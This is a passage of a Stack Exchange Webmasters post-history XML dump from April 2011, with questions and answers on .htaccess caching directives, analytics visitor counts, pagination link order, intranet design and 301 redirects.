  <row Id="27827" PostHistoryTypeId="5" PostId="12193" RevisionGUID="59dcbf65-28aa-413e-8823-fce2ec1e27dc" CreationDate="2011-04-14T11:59:47.513" UserId="1643" Comment="Remove lots of blank lines from htaccess file" Text="While trying to solve a problem on my website, a recommendation about my .htaccess file I got was&#xD;&#xA;&#xD;&#xA;&gt;  First of all, please check on the&#xD;&#xA;&gt; server for all the different modules&#xD;&#xA;&gt; if they are enabled, and once they&#xD;&#xA;&gt; are, remove the &#xD;&#xA;&#xD;&#xA;    &lt;IfModule&#xD;&#xA;     ...&gt;&lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;&gt; blocks. They are&#xD;&#xA;&gt; putting an unnecessary strain on your&#xD;&#xA;&gt; server.&#xD;&#xA;&#xD;&#xA;I don't know where should I look to see if modules are active - is it in the CMS? in the httpd.conf file? in the files on my server? should I make a slight modification in the .htaccess as a test?&#xD;&#xA;But more than that, could the recommendation self be not appropriate?&#xD;&#xA;Thanks. &#xD;&#xA;&#xD;&#xA;Here is the .htaccess file for which the recommendation has been made: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymLinks -MultiViews&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    AddHandler x-httpd-php .html .htm&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_gzip.c&gt;&#xD;&#xA;      mod_gzip_on Yes&#xD;&#xA;      mod_gzip_dechunk Yes&#xD;&#xA;      mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xD;&#xA;      mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;      mod_gzip_item_include mime ^text/.*&#xD;&#xA;      mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;      mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;      mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_expires.c&gt;&#xD;&#xA;      ExpiresActive On&#xD;&#xA;      ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType text/html &quot;access plus 1 seconds&quot;&#xD;&#xA;      ExpiresByType image/gif &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/jpeg &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType image/png &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/css &quot;access plus 2592000 seconds&quot;&#xD;&#xA;      ExpiresByType text/javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;      ExpiresByType application/x-javascript &quot;access plus 216000 seconds&quot;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      &lt;filesMatch &quot;\\.(ico|pdf|flv|jpg|jpeg|png|gif|swf)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(css)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2592000, public&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(js)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, private&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(xml|txt)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=216000, public, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &#xD;&#xA;      &lt;filesMatch &quot;\\.(html|htm|php)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=1, private, must-revalidate&quot;&#xD;&#xA;      &lt;/filesMatch&gt;&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset ETag&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    FileETag None&#xD;&#xA;    &#xD;&#xA;    &lt;ifModule mod_headers.c&gt;&#xD;&#xA;      Header unset Last-Modified&#xD;&#xA;    &lt;/ifModule&gt;&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.)?foo\.com$&#xD;&#xA;    RewriteRule .? http://foo.com%{REQUEST_URI} [R=301,L]&#xD;&#xA;    &#xD;&#xA;    #BEGIN WordPress&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteRule . /index.php&#xD;&#xA;    &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    # END WordPress&#xD;&#xA;" />
  <row Id="27828" PostHistoryTypeId="24" PostId="12193" RevisionGUID="59dcbf65-28aa-413e-8823-fce2ec1e27dc" CreationDate="2011-04-14T11:59:47.513" Comment="Proposed by 1643 approved by 1253 edit id of 113" />
  <row Id="27829" PostHistoryTypeId="25" PostId="12195" RevisionGUID="da31fc1d-23fc-4f7e-b490-de5d5b85d31d" CreationDate="2011-04-14T12:09:11.680" Comment="http://twitter.com/#!/StackWebmasters/status/58502056356487168" />
  <row Id="27830" PostHistoryTypeId="2" PostId="12202" RevisionGUID="7b93e7f5-80ca-4471-9735-41ef3ef04eb5" CreationDate="2011-04-14T12:25:23.243" UserId="529" Text="There's another factor at play with Quantcast undercounting: They use third-party cookies (cookies served from the `.quantserve.com` domain), whereas Google Analytics uses first-party cookies (`stackexchange.com`, etc.)&#xD;&#xA;&#xD;&#xA;This is pretty crucial, as some browsers (particularly Safari, but there may be others) disable third-party cookies as the default setting. This means there is a subset of the population that will never get tracked by QuantCast's cookies. Inherently, that means Google Analytics will always return a higher visitor count.&#xD;&#xA;&#xD;&#xA;I'd say there is no rule of thumb. As an analytics practitioner, I'd say that the quest for a 'true' visitor count is hopeless, and instead focus on the visits themselves. For example, to your Google Analytics account, I'm at least 8 different visitors, having accessed StackOverflow from Chrome, Safari and Firefox on my work laptop, my personal laptop, my phone, and my iPad. Analytics services all count in different ways, and thus all return significantly different numbers. &#xD;&#xA;&#xD;&#xA;Even with perfect implementation, Google Analytics will almost always show lower visit counts than a server-log based analytics system, but will show higher visit count than a third-party cookie based system like Quantcast. The important thing isn't to look at the raw totals, but the trends that each method shows in its strengths. So, never compare Quantcast numbers to Google Analytics numbers; instead, use the numbers within the contexts in which they were collected.&#xD;&#xA;&#xD;&#xA;Another issue could be that your Google Analytics implementation isn't correct, since configuring it for your kind of multiple-domain-and-subdomain setup can be a nightmare if not done correctly and rigorously, which could lead to a single browser being counted as multiple visitors, itself inflating your count. This is never an issue for Quantcast, as all cookies are set at their one third party domain. " />
  <row Id="27831" PostHistoryTypeId="5" PostId="12202" RevisionGUID="589549bb-8d0e-4360-b949-f418e7121741" CreationDate="2011-04-14T12:33:52.737" UserId="529" Comment="added 87 characters in body" Text="There's another factor at play with Quantcast undercounting: They use third-party cookies (cookies served from the `.quantserve.com` domain), whereas Google Analytics uses first-party cookies (`stackexchange.com`, etc.)&#xD;&#xA;&#xD;&#xA;This is pretty crucial, as some browsers (particularly Safari, but there may be others) disable third-party cookies as the default setting, and many others may individually choose privacy settings that bar third-party cookies. This means there is a subset of the population that will never get tracked by QuantCast's cookies. Inherently, that means Google Analytics will always return a higher visitor count.&#xD;&#xA;&#xD;&#xA;I'd say there is no rule of thumb. As an analytics practitioner, I'd say that the quest for a 'true' visitor count is hopeless, and instead focus on the visits themselves. For example, to your Google Analytics account, I'm at least 8 different visitors, having accessed StackOverflow from Chrome, Safari and Firefox on my work laptop, my personal laptop, my phone, and my iPad. Analytics services all count in different ways, and thus all return significantly different numbers. &#xD;&#xA;&#xD;&#xA;Even with perfect implementation, Google Analytics will almost always show lower visit counts than a server-log based analytics system, but will show higher visit count than a third-party cookie based system like Quantcast. The important thing isn't to look at the raw totals, but the trends that each method shows in its strengths. So, never compare Quantcast numbers to Google Analytics numbers; instead, use the numbers within the contexts in which they were collected.&#xD;&#xA;&#xD;&#xA;Another issue could be that your Google Analytics implementation isn't correct, since configuring it for your kind of multiple-domain-and-subdomain setup can be a nightmare if not done correctly and rigorously, which could lead to a single browser being counted as multiple visitors, itself inflating your count. This is never an issue for Quantcast, as all cookies are set at their one third party domain. " />
  <row Id="27832" PostHistoryTypeId="2" PostId="12203" RevisionGUID="1ae65734-cd8b-4a0d-a5ed-dfc974141d63" CreationDate="2011-04-14T12:52:23.450" UserId="5739" Text="we are developing an XML DITA content system that allows users to view their search results in a paginated form and navigate through these results backwards and forwards, page by page and we have placed the &quot;next&quot; and &quot;previous&quot; links in this format:&#xD;&#xA;&#xD;&#xA;**Previous Search Result** &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; **Next Search Result**&#xD;&#xA;&#xD;&#xA;Our customer has now asked for the order of these two links to be reversed so that the Next Search result precedes the Previous Search result.&#xD;&#xA;&#xD;&#xA;**Next Search Result** &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; **Previous Search Result**&#xD;&#xA;&#xD;&#xA;We and our customers are both English speaking companies and we feel that the obvious and correct way to display these links is the back link to the left and the forward link to the right. The same as if you were reading a book and wanted to go to the next page. Or the undo and redo buttons in applications eg Microsoft Word.&#xD;&#xA;&#xD;&#xA;But, I have seen some people state that the primary function, which is Next, should be the first button/link as this is what users will be looking for and using most. Also for those users with screen readers or who are tabbing through the page it is easier this way round. But.... &quot;Previous&quot; being placed to the left of &quot;Next&quot; is such a strongly accepted convention in Western culture that I feel changing it will confuse a considerable proportion of our users.&#xD;&#xA;&#xD;&#xA;In the same vein, we could ask about the form buttons: clear and submit. I always expect the clear button to be on the left and the submit submit to be on the right but as filling out a form is a linear process and I always Tab through the fields, would it not make more sense to have the submit before clear so you can tab once from the last field and submit?&#xD;&#xA;&#xD;&#xA;I know this is a bit of a subjective question, but it is key to web usability and I was wondering if anyone can point me in the direction of studies that give credance to either view. Or is there an overwhelming yay or nay from users?" />
  <row Id="27833" PostHistoryTypeId="1" PostId="12203" RevisionGUID="1ae65734-cd8b-4a0d-a5ed-dfc974141d63" CreationDate="2011-04-14T12:52:23.450" UserId="5739" Text="What is the correct order of previous - next buttons in paginated results?" />
  <row Id="27834" PostHistoryTypeId="3" PostId="12203" RevisionGUID="1ae65734-cd8b-4a0d-a5ed-dfc974141d63" CreationDate="2011-04-14T12:52:23.450" UserId="5739" Text="&lt;web&gt;&lt;web-design&gt;&lt;useability&gt;" />
  <row Id="27835" PostHistoryTypeId="2" PostId="12204" RevisionGUID="ab938b7f-3ca9-4b03-a544-8a36c308e722" CreationDate="2011-04-14T12:57:20.220" UserId="5464" Text="i have enabled mobile view on my blogger site when I looked at the source code it seemed to base things around the viewport a device could support with a custom CCS style sheet setting for mobiles. &#xD;&#xA;&#xD;&#xA;As @paulmorris &#xD;&#xA;&#xD;&#xA;1. Means 2 sites and you will up to keep updating the detection side of things as mobile technology progresses. Also consider if this will cause duplicate content issues (i currently favour using a rel canonical tag to the main site). &#xD;&#xA;&#xD;&#xA;2. Would be my vote as well. &#xD;&#xA;&#xD;&#xA;3. Easier. Wordpress seem to have a good mobile version. " />
  <row Id="27836" PostHistoryTypeId="6" PostId="12079" RevisionGUID="2a12737c-3396-4f5f-9ab4-5da3d8d779c2" CreationDate="2011-04-14T13:12:08.897" UserId="1703" Comment="edited tags" Text="&lt;drupal&gt;&lt;google-adsense&gt;&lt;joomla&gt;" />
  <row Id="27837" PostHistoryTypeId="6" PostId="12079" RevisionGUID="d31ea5ab-2f56-48b5-b521-fd66cb7df47e" CreationDate="2011-04-14T13:15:02.843" UserId="1253" Comment="removed &quot;drupal joomla&quot; tags" Text="&lt;google-adsense&gt;" />
  <row Id="27838" PostHistoryTypeId="2" PostId="12205" RevisionGUID="febbb131-e2df-46a1-b288-bf29f22386e3" CreationDate="2011-04-14T13:15:59.477" UserId="1643" Text="I agree that previous needs to be on the left and next on the right. You can probably find many sites that use that convention as evidence. One way of getting round the objection about screen readers is to place them the other way in the HTML and then use CSS floats so that they look the way you want (previous - next) on the screen.&#xD;&#xA;&#xD;&#xA;I see less and less clear buttons these days." />
  <row Id="27839" PostHistoryTypeId="2" PostId="12206" RevisionGUID="8012ccc8-4a4d-49c1-983c-4fd60acb4461" CreationDate="2011-04-14T13:32:33.607" UserId="6816" Text="Assuming you mean apache modules you can run the below to list which modules you have loaded:&#xD;&#xA;&#xD;&#xA;    apachectl -t -D DUMP_MODULES" />
  <row Id="27840" PostHistoryTypeId="2" PostId="12207" RevisionGUID="56433643-b697-4b63-8a85-55c7b00fff4b" CreationDate="2011-04-14T13:41:37.917" UserId="4011" Text="For more informations about this you can create a file with phpinfo(); in it, this does list every module loaded by php with details. You can search the GD section to see if the GD library is active and if it's the case you will find more informations about it.![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/jfWfL.jpg" />
  <row Id="27841" PostHistoryTypeId="2" PostId="12208" RevisionGUID="32f38902-b938-4afe-bd51-166d20336b21" CreationDate="2011-04-14T13:42:11.757" UserId="6795" Text="I think IP is trust able ... when i create statistic system like GA with python i use some method like this&#xD;&#xA;&#xD;&#xA; - send cookie to browser and grab all agent data to database&#xD;&#xA; - easy way if new visit has cookie it s not new visit so i save it as not new visit ( also i have assigned date and delay time for find new visit if user repeat visit site after 2 hours )&#xD;&#xA; - save user IP and some id for this user and IP and cookie (its save in cookie also)&#xD;&#xA; - new user comes and doesn't has any cookie ... is this IP new? yes? OK its new user only grab user agent and IP / no ? how many time this user comes? more than limit? not really new visit, not more with this user agent? OK this is new ... :D &#xD;&#xA;&#xD;&#xA;this method has fault but not bad and near valid data ... ( its also depends on delay time to find new user (delay between 2 visit ) and try time for users haven't cookie ) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " />
  <row Id="27842" PostHistoryTypeId="17" PostId="12210" RevisionGUID="f29ac81e-0c75-44d6-be7a-84d979125797" CreationDate="2011-04-14T13:43:53.660" UserId="-1" Comment="from http://stackoverflow.com/questions/5654740/orchard-cms-internet-shop/5658156#5658156" Text="" />
  <row Id="27843" PostHistoryTypeId="2" PostId="12210" RevisionGUID="5c554028-05ae-4ceb-9d7f-e14ce7e55d0e" CreationDate="2011-04-14T03:18:42.333" UserDisplayName="pszmyd" Text="There are couple of e-commerce modules in [Orchard Gallery][1] atm.&#xD;&#xA;I'd advise you to watch Drew Robbins build a [Flower Store][2] at MIX11. It's short, but may be a great help!&#xD;&#xA;&#xD;&#xA;HTH&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://orchardproject.net/gallery/List/ByCategory/Modules/Commerce&#xD;&#xA;  [2]: http://channel9.msdn.com/events/mix/mix11/key01" />
  <row Id="27844" PostHistoryTypeId="2" PostId="12209" RevisionGUID="3aa08d9f-51c6-4204-b6b8-2553508cfe40" CreationDate="2011-04-13T19:46:10.043" UserDisplayName="Sham" Text="Does anyone know where to find tutorial how to make an Internet shop by using Orchard CMS? I'm new at web programming, but i have an experience in .Net technologies." />
  <row Id="27845" PostHistoryTypeId="1" PostId="12209" RevisionGUID="3aa08d9f-51c6-4204-b6b8-2553508cfe40" CreationDate="2011-04-13T19:46:10.043" UserDisplayName="Sham" Text="Orchard CMS Internet shop" />
  <row Id="27846" PostHistoryTypeId="3" PostId="12209" RevisionGUID="3aa08d9f-51c6-4204-b6b8-2553508cfe40" CreationDate="2011-04-13T19:46:10.043" UserDisplayName="Sham" Text="&lt;untagged&gt;" />
  <row Id="27847" PostHistoryTypeId="17" PostId="12209" RevisionGUID="d7dfb7c4-f25e-4a1f-88a8-8484f81550b9" CreationDate="2011-04-14T13:43:53.660" UserId="-1" Comment="from http://stackoverflow.com/questions/5654740/orchard-cms-internet-shop" Text="" />
  <row Id="27848" PostHistoryTypeId="2" PostId="12211" RevisionGUID="00557035-50e7-4ac1-a6b3-a359b813733c" CreationDate="2011-04-14T14:04:20.280" UserId="1643" Text="If you don't have those modules loaded then it doesn't look anything's going to break on your site, it's just not going to have the best cache control settings. So leave out the ifmodules as you can't even load them if they aren't loaded. The apache website says &#xD;&#xA;&#xD;&#xA;&gt;  In normal operation, directives need not be placed in &lt;IfModule&gt; sections.&#xD;&#xA;&#xD;&#xA; http://httpd.apache.org/docs/2.0/mod/core.html#ifmodule" />
  <row Id="27849" PostHistoryTypeId="2" PostId="12212" RevisionGUID="1fe8126e-9fba-4438-8d3f-c3757d2105fa" CreationDate="2011-04-14T14:40:55.247" UserId="1725" Text="When designing an intranet for corporate use, what design practices should I follow that are different from those targeted to the internet/customer world?&#xD;&#xA;&#xD;&#xA;What kind of questions should I be asking about the layout? How will I know what's important so the thing actually gets used? What's actually not that important? &#xD;&#xA;&#xD;&#xA;How do I get my users to love the intranet?" />
  <row Id="27850" PostHistoryTypeId="1" PostId="12212" RevisionGUID="1fe8126e-9fba-4438-8d3f-c3757d2105fa" CreationDate="2011-04-14T14:40:55.247" UserId="1725" Text="How do I get my users to love the intranet?" />
  <row Id="27851" PostHistoryTypeId="3" PostId="12212" RevisionGUID="1fe8126e-9fba-4438-8d3f-c3757d2105fa" CreationDate="2011-04-14T14:40:55.247" UserId="1725" Text="&lt;website-design&gt;&lt;usability&gt;&lt;intranet&gt;" />
  <row Id="27852" PostHistoryTypeId="2" PostId="12213" RevisionGUID="2a572622-804e-4981-ac3e-54c9bac8b644" CreationDate="2011-04-14T14:46:20.257" UserId="6597" Text="If PHP is run as apache module, you can use the `phpinfo()` function. Search for the Apache section (usually `apache2handler`) and look for the row with &quot;Loaded Modules&quot;:&#xD;&#xA;&#xD;&#xA;![apache2handler section of phpinfo()][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/9iApY.png" />
  <row Id="27853" PostHistoryTypeId="2" PostId="12214" RevisionGUID="6cbab53b-9028-4e5c-9d78-38142257f2bd" CreationDate="2011-04-14T14:51:31.213" UserId="3718" Text="To block Internet Explorer is suicide in my opinion.&#xD;&#xA;&#xD;&#xA;I hate the browser, I think it's slow and buggy and rather rubbish at the job it's mean to do. If I could choose not to support the browser, believe me I would!&#xD;&#xA;&#xD;&#xA;However, it is important to recognise a lot of people still use Internet Explorer, something around the 60% mark (I may be wrong on this but I know it's a massive number), and if you block access to that website you are blocking the access of 60% of the traffic on the web to your site. 9 times out of 10, these people won't even bother going back to your website on a different browser ever again.&#xD;&#xA;&#xD;&#xA;If you are that bothered about writing code to fix IE bugs, then I would suggest you take a look at the way you actually code your HTML and CSS. It is very possible (and easy) to write HTML and CSS that will work on ALL browsers (with the exception of IE6) without using conditional tags to load IE specific fixes.&#xD;&#xA;&#xD;&#xA;As I have mentioned IE6, I would suggest developing a very low-res version of the site to run  on this browser. So instead of having a nice site that's got gradients and transparent PNG's, when some one in IE6 see's the site they will see a very basic layout with a reminder to either install Google Gears, or upgrade their browser.&#xD;&#xA;&#xD;&#xA;You must remember that while most of the people who go on the internet do own their own computers, they may not have decent enough hardware to run a better browser OR want to upgrade their browser. A guy in the office the other day said he loved using Internet Explorer, while he could see why people may hate it, for him there was no other option to view websites. He wanted to use IE.&#xD;&#xA;&#xD;&#xA;But it is very possible to write CSS and HTML that will look the same in Firefox and Chrome as it will in IE 7 and IE 8. I think you need to look at your coding skills and practices before cutting IE out." />
  <row Id="27854" PostHistoryTypeId="2" PostId="12215" RevisionGUID="95b12046-3b1c-46d4-8b4b-5ac3923371ff" CreationDate="2011-04-14T15:05:34.290" UserId="6847" Text="I believe it's all to do with personalisation and flexibility.  Users have to be able to personlise the intranet to their liking.  It's a tool to help them work effectively.  Not everyone has the same job and people certainly don't all work the same way.  Users should be able to choose the colours, which modules/information boxes are displayed and where on the screen those modules appear.  Users should be able to choose the display of data/information relevant to their job.  This isn't always the same info that the management think users should be fed.&#xD;&#xA;&#xD;&#xA;Your intranet must become the start page of all activity the user undertakes.  One central place from where they can get all the information they need, with minimal clickage. :-)&#xD;&#xA;&#xD;&#xA;Users like a bit of fun/light hearted relief from their work.  Can be contentious with some employers as don't see it as &quot;work&quot;.  However a rss feed that links to unusual news stories or a cartoon might just bring a smile to the workers face.  A happy worker is a good worker." />
  <row Id="27855" PostHistoryTypeId="25" PostId="12212" RevisionGUID="e2bcb3c8-2e2e-4604-8f4a-4cc653b631f2" CreationDate="2011-04-14T15:09:11.977" Comment="http://twitter.com/#!/StackWebmasters/status/58547353392660480" />
  <row Id="27856" PostHistoryTypeId="2" PostId="12216" RevisionGUID="efa2928e-82d0-43b2-98d9-0ddb4f0ab580" CreationDate="2011-04-14T15:12:13.393" UserId="6847" Text="You will have to wait for the Google Gods to update their cache.  If you can already see Googlebot crawling your site then it should just be a matter of time.&#xD;&#xA;&#xD;&#xA;However, a few new incoming links to your site may just speed things up.  I believe if Google sees more site activity by way of incoming links then it might prompt a slightly faster cache update.  Good luck." />
  <row Id="27857" PostHistoryTypeId="2" PostId="12217" RevisionGUID="0b210312-9451-4344-9117-470abc88fe4a" CreationDate="2011-04-14T15:12:53.890" UserId="1643" Text="I would argue that you should follow similar practises to external websites, as they are competitors for your employees time and attention. So usefulness and attractiveness are important. Your bosses may want the intranet to feature corporate messages, but the employees want useful information. &#xD;&#xA;&#xD;&#xA;It should be a place for fostering the relationships and discussions that happen already offline - so simple social networking features, profiles and discussions will help with that. " />
  <row Id="27858" PostHistoryTypeId="2" PostId="12218" RevisionGUID="95724b47-82cf-4baf-a2fc-9c0391b606d2" CreationDate="2011-04-14T15:13:50.990" UserId="4786" Text="There are a couple things, but the basic objective (and thus approach) is the same. You want users to actually use the intranet:&#xD;&#xA;&#xD;&#xA; - Have news or interesting company info (that changes) on the home page&#xD;&#xA; - If your company has Yammer -- implement a yammer feed on the home page&#xD;&#xA; - Give users some customization options (weather, if you have more than one office, let them choose their weather location, maybe even let them pick more than one zip code)&#xD;&#xA; - It has to be fast -- users don't like to wait, and they don't have to wait for Google or bing or facebook, if your intranet site is not fast users won’t come back&#xD;&#xA; - Allow users to add a news feed from Google or CNN or something similar&#xD;&#xA;&#xD;&#xA;All these points go to having good content that changes enough that users would want to periodically poll the intranet to see what’s new. I highly recommend you checkout the iGoogle home pages (I believe it requires a google account to setup) and the standard Yahoo and MSN home pages for inspiration.&#xD;&#xA;" />
  <row Id="27859" PostHistoryTypeId="2" PostId="12219" RevisionGUID="df3c8036-a29a-456a-864b-7c45ed049294" CreationDate="2011-04-14T15:29:52.967" UserId="6847" Text="No you can't just copy another web site's TOS &amp; Privacy policy.  It has been created by someone else (probably by an expensive lawyer) and hence, like other content, is copyrighted.&#xD;&#xA;&#xD;&#xA;Try adapting a template such as this from the UK's Business Link service: http://www.businesslink.gov.uk/bdotg/action/detail?itemId=1076142085&amp;type=RESOURCES&#xD;&#xA;&#xD;&#xA;Don't worry about duplicate content in this instance.  Do worry about copyright.  :-)" />
  <row Id="27860" PostHistoryTypeId="2" PostId="12220" RevisionGUID="19ab0a4f-1cd4-4468-8ea3-ac47c55ae771" CreationDate="2011-04-14T15:37:40.100" UserId="6847" Text="I think K1run.com is best.  The shorter the better - for users and for seo.&#xD;&#xA;&#xD;&#xA;If you want to target the other keyword use a subfolder... k1run.com/K2&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="27861" PostHistoryTypeId="5" PostId="9938" RevisionGUID="fdae543d-8941-4026-8cff-973354a48990" CreationDate="2011-04-14T15:47:50.620" UserId="529" Comment="added 255 characters in body" Text="The Technology website [Ars Technica][1] has adjusted their URL rewrite rules to end with a `.ars`. Traditionally, sites have taken advantage of this URL rewriting capability to completely eliminate file suffixes like `.html`, `.php`, `.aspx` etc, under the theory that this made for better SEO (since the content of the URL was more relevant to the content)&#xD;&#xA;&#xD;&#xA;Ars Technica's, though, look like this: &#xD;&#xA;&gt;http://arstechnica.com/science/news/2011/03/flow-from-the-poles-drive-sunspot-levels.ars&#xD;&#xA;&#xD;&#xA;So, is Ars Technica adding the `.ars` file suffix purely a vanity play? Or is it an SEO trick to improve the site's SEO by cleverly inserting their site name into every URL slug?&#xD;&#xA;&#xD;&#xA;And, if this is indeed an effective SEO trick, should other sites follow suit?&#xD;&#xA;&#xD;&#xA;EDIT: Kurt from Ars Technica has (apparently) chimed in in the comments to add &#xD;&#xA;&#xD;&#xA;&gt; &quot;Just cuz&quot; is correct! They're not&#xD;&#xA;&gt; exactly rewrite rules, though. We&#xD;&#xA;&gt; actually have files named &quot;.ars&quot;. The&#xD;&#xA;&gt; irony of my linked post is that&#xD;&#xA;&gt; they're PHP...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://arstechnica.com" />
  <row Id="27862" PostHistoryTypeId="2" PostId="12221" RevisionGUID="80a13738-69a1-4825-9ed7-c8a5f2310b97" CreationDate="2011-04-14T15:51:53.943" UserDisplayName="nextyear" Text="I think i might have slipped up here and would love some advice on this before i start making changes&#xD;&#xA;&#xD;&#xA;We have the domains www.mysite.com and www.mysite.co.uk&#xD;&#xA;Currently we have the main site on www.mysite.com , this runs a host of subdomains uand redirects for other sites, in asp.net&#xD;&#xA;&#xD;&#xA;I develop in php and as such thought it would be easiest to launch a new server and host the new site on www.mysite.co.uk and put a frame forward on the www.mysite.com domain.&#xD;&#xA;&#xD;&#xA;This would means no other changes needed, as i wasnt too sure about the DNS settings and certainly wouldnt want to play with the source code and server. &#xD;&#xA;This frame forward provided by 123-reg seems to have destroyed all page rankings though, cant find www.mysite.com in any searches&#xD;&#xA;&#xD;&#xA;Is there away to get the www.mysite.com ranking back up to the top again?&#xD;&#xA;&#xD;&#xA;Thanks for your advice&#xD;&#xA;&#xD;&#xA; " />
  <row Id="27863" PostHistoryTypeId="1" PostId="12221" RevisionGUID="80a13738-69a1-4825-9ed7-c8a5f2310b97" CreationDate="2011-04-14T15:51:53.943" UserDisplayName="nextyear" Text="Launch of new website deleted google rank?" />
  <row Id="27864" PostHistoryTypeId="3" PostId="12221" RevisionGUID="80a13738-69a1-4825-9ed7-c8a5f2310b97" CreationDate="2011-04-14T15:51:53.943" UserDisplayName="nextyear" Text="&lt;google-ranking&gt;" />
  <row Id="27865" PostHistoryTypeId="17" PostId="12221" RevisionGUID="f922f629-e056-4e9e-9fc5-d3ea60429b38" CreationDate="2011-04-14T16:08:14.257" UserId="-1" Comment="from http://stackoverflow.com/questions/5665975/launch-of-new-website-deleted-google-rank" Text="" />
  <row Id="27866" PostHistoryTypeId="2" PostId="12222" RevisionGUID="2144e687-1928-4e60-91b2-bc4ec704277a" CreationDate="2011-04-14T16:11:36.640" UserId="1253" Text="Frames are not search engine friendly and frame forwarding is definitely not how you want to do this. As you can see it is not search engine friendly and only hurts you. Plus users can find it confusing because the URL in the address bar never changes. Basically it's a bad idea all the way around.&#xD;&#xA;&#xD;&#xA;What you need to do is a proper 301 redirect from the old URLs to the new URLs. That will forward both search engines and users to the new pages and also transfer over any link popularity your current pages have. It also tells search engines to update their indexes with the new pages and to remove the old ones.&#xD;&#xA;&#xD;&#xA;To summarize:&#xD;&#xA;&#xD;&#xA;- Get rid of that frame redirect&#xD;&#xA;&#xD;&#xA;- Set up a 301 redirect from the old URLs to the new URLs&#xD;&#xA;&#xD;&#xA;- If you have no pages indexed then submit an [XML sitemap][1] to Google through their [Webmasters Tools][2]&#xD;&#xA;&#xD;&#xA;- Be patient. It isn't going to correct itself overnight.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184&amp;from=40318&amp;rd=1&#xD;&#xA;  [2]: https://www.google.com/webmasters/tools/home?hl=en" />
  <row Id="27868" PostHistoryTypeId="6" PostId="12221" RevisionGUID="d064330c-b0bc-4090-b311-6d2f64da8dff" CreationDate="2011-04-14T16:15:07.683" UserId="1253" Comment="added &quot;seo&quot; tag" Text="&lt;seo&gt;&lt;google-ranking&gt;" />
  <row Id="27869" PostHistoryTypeId="2" PostId="12223" RevisionGUID="5d6f239d-1f4b-447a-9b1e-55043bb9f350" CreationDate="2011-04-14T16:52:47.677" UserId="6851" Text="You may want to go over your stats. Many websites hotlink images and iframe pages from other websites to make up their content and this results in links to you. These are generally very bad neighbors to have." />
  <row Id="27870" PostHistoryTypeId="2" PostId="12224" RevisionGUID="44485145-abed-4cd2-94a6-414fcc1e51f1" CreationDate="2011-04-14T18:02:26.003" UserId="6852" Text="The ratio of cookies to unique visitors is usually between 1.3 and 1.7 for sites with over a million visits.&#xD;&#xA;&#xD;&#xA;While yc01 is correct that GA uses first-party cookies vs third-party cookies, we at RealSelf.com use two first-party analytics providers (GA and Comscore Direct) and GA still shows 30% more Absolute Unique Visitors than Comscore's Unique Visitors.  &#xD;&#xA;&#xD;&#xA;Comscore only shows unique visitors by country, so to compare GA to Comscore we have to calculate the number of US-based absolute unique visitors as follows:&#xD;&#xA;&#xD;&#xA;US Visits / Global Visits * Absolute Unique Users &#xD;&#xA;&#xD;&#xA;(1,150,110 / 1,650,979) * 1,273,059 = 886,842 US-based Unique Users&#xD;&#xA;&#xD;&#xA;In contrast, Comscore reports 680,900 US-based Unique Users.  So GA shows 30.2% more.&#xD;&#xA;&#xD;&#xA;Comscore has built their business around trying to be accurate, while GA is primarily a free way to track and optimize sites that use AdWords and AdSense.  